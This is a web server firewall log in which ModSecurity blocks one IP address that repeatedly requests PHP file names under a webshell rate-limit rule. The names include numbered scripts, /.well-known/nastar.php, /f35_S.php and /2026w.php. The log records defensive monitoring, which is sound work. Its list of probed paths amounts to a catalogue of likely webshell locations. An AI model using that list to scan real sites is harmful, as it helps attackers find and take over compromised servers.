[Sun May 03 09:54:55.030061 2026] [:error] [pid 37127:tid 37203] [client 172.173.121.85:30280] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afaq7_8khJXb5O5aWVXyuwAAAFI"]
[Sun May 03 09:54:55.478100 2026] [:error] [pid 40386:tid 40391] [client 172.173.121.85:5732] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afaq71HJDYRXUf3IbRTtJgAAAMM"]
[Sun May 03 09:54:55.861021 2026] [:error] [pid 40456:tid 40461] [client 172.173.121.85:30234] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afaq7zSujTvwdzEkjSf0jQAAAYM"]
[Sun May 03 09:54:56.332843 2026] [:error] [pid 40456:tid 40481] [client 172.173.121.85:5705] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afaq8DSujTvwdzEkjSf0kAAAAZc"]
[Sun May 03 09:54:56.742118 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:6082] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afaq8DSujTvwdzEkjSf0kgAAAZA"]
[Sun May 03 09:54:57.157526 2026] [:error] [pid 40456:tid 40466] [client 172.173.121.85:6088] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afaq8TSujTvwdzEkjSf0lgAAAYg"]
[Sun May 03 09:54:57.596168 2026] [:error] [pid 37127:tid 37198] [client 172.173.121.85:30244] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "afaq8f8khJXb5O5aWVXyvAAAAE0"]
[Sun May 03 09:54:58.131672 2026] [:error] [pid 37126:tid 37172] [client 172.173.121.85:6133] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "afaq8vR_A42N-LtDyrvq_gAAABM"]
[Sun May 03 09:54:58.616960 2026] [:error] [pid 40422:tid 40441] [client 172.173.121.85:30218] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "afaq8kHBbBLrXh6PBuuubAAAAU8"]
[Sun May 03 09:54:59.017286 2026] [:error] [pid 40422:tid 40439] [client 172.173.121.85:6102] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "afaq80HBbBLrXh6PBuuubQAAAU0"]
[Sun May 03 09:54:59.411672 2026] [:error] [pid 37130:tid 37223] [client 172.173.121.85:30264] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "afaq86Iu7bmXKXicRk9FAQAAAIo"]
[Sun May 03 09:55:00.271332 2026] [:error] [pid 40456:tid 40482] [client 172.173.121.85:30243] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "afaq9DSujTvwdzEkjSf0mQAAAZg"]
[Sun May 03 09:55:00.766584 2026] [:error] [pid 40422:tid 40440] [client 172.173.121.85:5752] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "afaq9EHBbBLrXh6PBuuucAAAAU4"]
[Sun May 03 09:55:01.394554 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:6089] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "afaq9UHBbBLrXh6PBuuucQAAAVI"]
[Sun May 03 09:55:01.858309 2026] [:error] [pid 40386:tid 40398] [client 172.173.121.85:5738] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "afaq9VHJDYRXUf3IbRTtKQAAAMo"]
[Sun May 03 09:55:02.265971 2026] [:error] [pid 40422:tid 40447] [client 172.173.121.85:6100] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "afaq9kHBbBLrXh6PBuuudAAAAVU"]
[Sun May 03 09:55:02.644608 2026] [:error] [pid 40386:tid 40395] [client 172.173.121.85:6119] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "afaq9lHJDYRXUf3IbRTtKgAAAMc"]
[Sun May 03 09:55:03.059970 2026] [:error] [pid 40422:tid 40426] [client 172.173.121.85:6084] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "afaq90HBbBLrXh6PBuuudQAAAUA"]
[Sun May 03 09:55:03.470499 2026] [:error] [pid 37126:tid 37176] [client 172.173.121.85:6128] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "afaq9_R_A42N-LtDyrvq_wAAABc"]
[Sun May 03 09:55:03.862125 2026] [:error] [pid 37126:tid 37156] [client 172.173.121.85:30309] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "afaq9_R_A42N-LtDyrvrAAAAAAM"]
[Sun May 03 09:55:04.253160 2026] [:error] [pid 40422:tid 40431] [client 172.173.121.85:30246] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "afaq-EHBbBLrXh6PBuuudwAAAUU"]
[Sun May 03 09:55:04.628453 2026] [:error] [pid 37246:tid 37272] [client 172.173.121.85:6098] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "afaq-DhvYFGNwhnPamqZFgAAARY"]
[Sun May 03 09:55:05.041474 2026] [:error] [pid 37126:tid 37175] [client 172.173.121.85:30307] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "afaq-fR_A42N-LtDyrvrAgAAABY"]
[Sun May 03 09:55:05.415184 2026] [:error] [pid 40456:tid 40458] [client 172.173.121.85:6111] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "afaq-TSujTvwdzEkjSf0mgAAAYA"]
[Sun May 03 09:55:05.846429 2026] [:error] [pid 37246:tid 37267] [client 172.173.121.85:5700] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "afaq-ThvYFGNwhnPamqZGAAAARE"]
[Sun May 03 09:55:07.253930 2026] [:error] [pid 37246:tid 37274] [client 172.173.121.85:5697] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "afaq-zhvYFGNwhnPamqZHAAAARg"]
[Sun May 03 09:55:07.632375 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:6092] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "afaq-0HBbBLrXh6PBuuueQAAAUw"]
[Sun May 03 09:55:08.059347 2026] [:error] [pid 37127:tid 37190] [client 172.173.121.85:6143] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "afaq_P8khJXb5O5aWVXywAAAAEY"]
[Sun May 03 09:55:08.492834 2026] [:error] [pid 37246:tid 37257] [client 172.173.121.85:5729] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "afaq_DhvYFGNwhnPamqZHgAAAQk"]
[Sun May 03 09:55:08.930697 2026] [:error] [pid 37127:tid 37195] [client 172.173.121.85:6131] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "afaq_P8khJXb5O5aWVXywQAAAEs"]
[Sun May 03 09:55:09.307672 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:30243] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "afaq_TSujTvwdzEkjSf0mwAAAZA"]
[Sun May 03 09:55:09.784822 2026] [:error] [pid 37246:tid 37273] [client 172.173.121.85:5713] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "afaq_ThvYFGNwhnPamqZIQAAARc"]
[Sun May 03 09:55:10.207073 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5720] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "afaq_jSujTvwdzEkjSf0nQAAAYY"]
[Sun May 03 09:55:10.609018 2026] [:error] [pid 40422:tid 40437] [client 172.173.121.85:6114] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "afaq_kHBbBLrXh6PBuuuegAAAUs"]
[Sun May 03 09:55:12.010299 2026] [:error] [pid 37246:tid 37254] [client 172.173.121.85:5718] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "afarADhvYFGNwhnPamqZJgAAAQY"]
[Sun May 03 09:55:12.390298 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:6126] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "afarAEHBbBLrXh6PBuuugAAAAUc"]
[Sun May 03 09:55:12.833289 2026] [:error] [pid 37127:tid 37184] [client 172.173.121.85:6138] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "afarAP8khJXb5O5aWVXywwAAAEA"]
[Sun May 03 09:55:13.233251 2026] [:error] [pid 37127:tid 37194] [client 172.173.121.85:6139] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "afarAf8khJXb5O5aWVXyxQAAAEo"]
[Sun May 03 09:55:13.609743 2026] [:error] [pid 37130:tid 37226] [client 172.173.121.85:30261] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "afarAaIu7bmXKXicRk9FBgAAAI0"]
[Sun May 03 09:55:14.492218 2026] [:error] [pid 40386:tid 40402] [client 172.173.121.85:5709] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "afarAlHJDYRXUf3IbRTtKwAAAM4"]
[Sun May 03 09:55:15.924358 2026] [:error] [pid 40422:tid 40438] [client 172.173.121.85:6113] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "afarA0HBbBLrXh6PBuuugwAAAUw"]
[Sun May 03 09:55:16.304761 2026] [:error] [pid 37127:tid 37189] [client 172.173.121.85:6096] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "afarBP8khJXb5O5aWVXyxwAAAEU"]
[Sun May 03 09:55:16.777755 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:30288] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afarBEHBbBLrXh6PBuuuhQAAAVE"]
[Sun May 03 09:55:18.158082 2026] [:error] [pid 37127:tid 37191] [client 172.173.121.85:5742] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afarBv8khJXb5O5aWVXyyAAAAEc"]
[Sun May 03 09:55:18.559718 2026] [:error] [pid 40456:tid 40477] [client 172.173.121.85:30325] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afarBjSujTvwdzEkjSf0ogAAAZM"]
[Sun May 03 09:55:18.943469 2026] [:error] [pid 40386:tid 40390] [client 172.173.121.85:5706] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/nastar.php"] [unique_id "afarBlHJDYRXUf3IbRTtLwAAAMI"]
[Sun May 03 09:55:19.373533 2026] [:error] [pid 37127:tid 37205] [client 172.173.121.85:5708] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "afarB_8khJXb5O5aWVXyyQAAAFM"]
[Sun May 03 09:55:19.780789 2026] [:error] [pid 40386:tid 40400] [client 172.173.121.85:30251] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "afarB1HJDYRXUf3IbRTtMQAAAMw"]
[Sun May 03 09:55:20.231048 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:5749] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "afarCEHBbBLrXh6PBuuuhwAAAUc"]
[Sun May 03 09:55:20.610440 2026] [:error] [pid 37246:tid 37261] [client 172.173.121.85:5717] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "afarCDhvYFGNwhnPamqZKwAAAQs"]
[Sun May 03 09:55:21.045779 2026] [:error] [pid 37246:tid 37257] [client 172.173.121.85:5154] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "afarCThvYFGNwhnPamqZLAAAAQk"]
[Sun May 03 09:55:21.901099 2026] [:error] [pid 40422:tid 40445] [client 172.173.121.85:30250] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "afarCUHBbBLrXh6PBuuuiAAAAVM"]
[Sun May 03 09:55:22.356648 2026] [:error] [pid 40386:tid 40403] [client 172.173.121.85:30271] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "afarClHJDYRXUf3IbRTtMwAAAM8"]
[Sun May 03 09:55:23.444226 2026] [:error] [pid 40422:tid 40450] [client 172.173.121.85:5702] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "afarC0HBbBLrXh6PBuuuigAAAVg"]
[Sun May 03 09:55:23.919067 2026] [:error] [pid 40422:tid 40440] [client 172.173.121.85:30260] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "afarC0HBbBLrXh6PBuuujAAAAU4"]
[Sun May 03 09:55:24.327451 2026] [:error] [pid 37126:tid 37170] [client 172.173.121.85:30279] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "afarDPR_A42N-LtDyrvrBgAAABE"]
[Sun May 03 09:55:25.836744 2026] [:error] [pid 40386:tid 40411] [client 172.173.121.85:5152] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "afarDVHJDYRXUf3IbRTtNQAAANc"]
